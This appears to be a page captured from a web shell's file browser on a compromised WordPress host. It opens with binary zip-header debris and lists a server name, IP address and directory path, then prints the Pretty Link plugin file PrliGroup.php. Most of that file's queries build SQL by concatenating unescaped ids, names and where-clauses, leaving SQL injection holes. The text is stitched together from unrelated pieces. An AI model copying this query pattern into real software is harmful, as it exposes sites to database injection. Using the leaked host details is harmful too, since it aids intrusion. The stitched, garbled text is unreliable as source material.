PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/demo2024feb.kerihosting.com/wp-content/plugins/pretty-link/app/models/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : /home/trave494/demo2024feb.kerihosting.com/wp-content/plugins/pretty-link/app/models/PrliGroup.php

<?php
if(!defined('ABSPATH'))
  die('You are not allowed to call this page directly.');

class PrliGroup
{
  var $table_name;

  public function __construct()
  {
    global $wpdb;
    $this->table_name = "{$wpdb->prefix}prli_groups";
  }

  public function create( $values )
  {
    global $wpdb;

    $query = "INSERT INTO {$this->table_name} (name,description,created_at) VALUES (%s, %s, NOW())";
    $query = $wpdb->prepare( $query, $values['name'], $values['description'] );
    $query_results = $wpdb->query($query);
    return $wpdb->insert_id;
  }

  public function update( $id, $values )
  {
    global $wpdb;

    $query = 'UPDATE ' . $this->table_name .
                ' SET name=\'' . $values['name'] . '\', ' .
                    ' description=\'' . $values['description'] . '\' ' .
                ' WHERE id='.$id;
    $query_results = $wpdb->query($query);
    return $query_results;
  }

  public function destroy( $id )
  {
    //require_once(PRLI_MODELS_PATH.'/models.inc.php');
    global $wpdb, $prli_link;

    // Disconnect the links from this group
    $query = 'UPDATE ' . $prli_link->table_name .
                ' SET group_id = NULL ' .
                ' WHERE group_id='.$id;
    $query_results = $wpdb->query($query);

    $destroy = 'DELETE FROM ' . $this->table_name .  ' WHERE id=' . $id;
    return $wpdb->query($destroy);
  }

  public function getOne( $id, $include_stats = false )
  {
      global $wpdb, $prli_link, $prli_click;

      if($include_stats)
        $query = 'SELECT gr.*, (SELECT COUNT(*) FROM ' . $prli_link->table_name . ' li WHERE li.group_id = gr.id) as link_count FROM ' . $this->table_name . ' gr WHERE id=' . $id;
      else
        $query = 'SELECT gr.* FROM ' . $this->table_name . ' gr WHERE id=' . $id;
      return $wpdb->get_row($query);
  }

  public function getAll( $where = '', $order_by = '', $return_type = OBJECT, $include_stats = false )
  {
      global $wpdb, $prli_utils, $prli_link, $prli_click;

      if($include_stats)
        $query = 'SELECT gr.*, (SELECT COUNT(*) FROM ' . $prli_link->table_name . ' li WHERE li.group_id = gr.id) as link_count FROM ' . $this->table_name . ' gr' . $prli_utils->prepend_and_or_where(' WHERE', $where) . $order_by;
      else
        $query = 'SELECT gr.* FROM ' . $this->table_name . " gr" . $prli_utils->prepend_and_or_where(' WHERE', $where) . $order_by;
      return $wpdb->get_results($query, $return_type);
  }

  // Pagination Methods
  public function getRecordCount($where="")
  {
      global $wpdb, $prli_utils;
      $query = 'SELECT COUNT(*) FROM ' . $this->table_name . $prli_utils->prepend_and_or_where(' WHERE', $where);
      return $wpdb->get_var($query);
  }

  public function getPageCount($p_size, $where="")
  {
      return ceil((int)$this->getRecordCount($where) / (int)$p_size);
  }

  public function getPage($current_p,$p_size, $where = "", $order_by = '')
  {
      global $wpdb, $prli_link, $prli_utils, $prli_click;
      $end_index = $current_p * $p_size;
      $start_index = $end_index - $p_size;
      $query = 'SELECT gr.*, (SELECT COUNT(*) FROM ' . $prli_link->table_name . ' li WHERE li.group_id = gr.id) as link_count FROM ' . $this->table_name . ' gr' . $prli_utils->prepend_and_or_where(' WHERE', $where) . $order_by .' LIMIT ' . $start_index . ',' . $p_size;
      $results = $wpdb->get_results($query);
      return $results;
  }

  // Set defaults and grab get or post of each possible param
  public function get_params_array()
  {
    $values = array(
       'action'     => (isset($_GET['action'])?$_GET['action']:(isset($_POST['action'])?$_POST['action']:'list')),
       'id'         => (isset($_GET['id'])?$_GET['id']:(isset($_POST['id'])?$_POST['id']:'')),
       'paged'      => (isset($_GET['paged'])?$_GET['paged']:(isset($_POST['paged'])?$_POST['paged']:1)),
       'group'      => (isset($_GET['group'])?$_GET['group']:(isset($_POST['group'])?$_POST['group']:'')),
       'search'     => (isset($_GET['search'])?$_GET['search']:(isset($_POST['search'])?$_POST['search']:'')),
       'sort'       => (isset($_GET['sort'])?$_GET['sort']:(isset($_POST['sort'])?$_POST['sort']:'')),
       'sdir'       => (isset($_GET['sdir'])?$_GET['sdir']:(isset($_POST['sdir'])?$_POST['sdir']:''))
    );

    return $values;
  }

  public function validate( $values )
  {
    global $wpdb, $prli_utils;

    $errors = array();
    if( empty($values['name']) )
      $errors[] = "Group must have a name.";

    return $errors;
  }
}